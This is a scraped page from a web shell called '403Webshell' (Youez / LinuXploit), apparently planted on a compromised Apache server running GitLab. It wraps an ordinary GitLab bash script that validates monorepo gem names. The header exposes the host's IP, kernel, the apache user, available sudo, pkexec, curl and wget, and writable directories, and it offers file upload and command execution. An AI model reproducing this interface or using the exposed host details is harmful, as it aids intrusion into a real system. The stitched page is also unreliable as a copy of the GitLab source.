403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/validate-monorepo-gem
#!/bin/bash

set -euo pipefail

OWNER_HANDLE="gitlab_rubygems"

error() {
  echo "ERROR:" "$@"
  exit 1
}

warn() {
  echo "WARNING:" "$@"
}

validate_gem() {
  validate_existence "$1"
  validate_owners "$1"
  validate_content "$1"
}

validate_existence() {
  if gem specification --quiet --silent --remote --ruby "$1"; then
    return 0
  fi

  if gem specification --quiet --silent --remote --ruby --pre "$1"; then
    return 0
  fi

  error "The '$1' is missing. Push stub gem to RubyGems with version 0.0.0. See https://docs.gitlab.com/ee/development/gems.html#reserve-a-gem-name"
}

validate_owners() {
  if ! curl --silent --fail "https://rubygems.org/api/v1/gems/$1/owners.json" | grep --silent "\"handle\":\"$OWNER_HANDLE\""; then
    error "Gem '$1' does not contain '$OWNER_HANDLE' as owner."
  fi
}

validate_content() {
  local tmpdir
  tmpdir=$(mktemp --directory)
  gem unpack "$1" --quiet --silent --target "$tmpdir"

  if ! grep --silent --recursive --perl-regexp '^\s*raise "Reserved for GitLab"$' "$tmpdir"; then
    warn "Contents of gem '$1' does not contain 'raise \"Reserved for GitLab\"'."
  fi
}

if [[ $# -ne 1 ]]; then
  error "usage: $0 <gem-name>"
fi

echo "Validating gem '$1'"

validate_gem "$1"
echo "SUCCESS!"

Youez - 2016 - github.com/yon3zu
LinuXploit